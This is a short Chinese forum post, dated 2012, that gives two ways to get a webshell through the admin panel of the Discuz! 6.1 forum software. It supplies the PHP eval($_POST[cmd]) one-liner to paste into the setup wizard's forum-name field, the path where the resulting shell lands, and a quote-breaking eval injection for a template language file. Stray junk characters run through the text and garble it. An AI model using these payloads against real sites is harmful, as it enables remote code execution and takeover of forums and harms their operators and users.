discuz6.1两种方法后台拿shell
9 E* G9 r( q+ _# R% U4 A好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下( l% L- X" m) z. q) {
1:
( N/ y; h4 ~" |http://127.0.0.1/discuz/admincp. ... zard&frames=yes* A7 i& @) s* I- d
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell" ]" k6 ]1 o9 Q8 R9 U/ P6 J
<?php eval($_POST[cmd]);?>8 N- z, p( b' z$ |
后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
0 x9 P( o8 X. M/ y7 ]% f" U/ Q |" s1 w$ ~: }7 ?8 j
' y E4 D6 l1 e) k5 W
2:后台模板管理--默认模板套系--详情( v. F2 A* q) r6 r( Q
templates/default/actions.lang.php
6 r8 i& H1 _* U. }+ w1 [ |jhackj\\');eval($_POST[cmd])?>;//0 D, s, T( @$ X2 V4 P3 N
, O& a; }9 U. i1 J0 P K利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对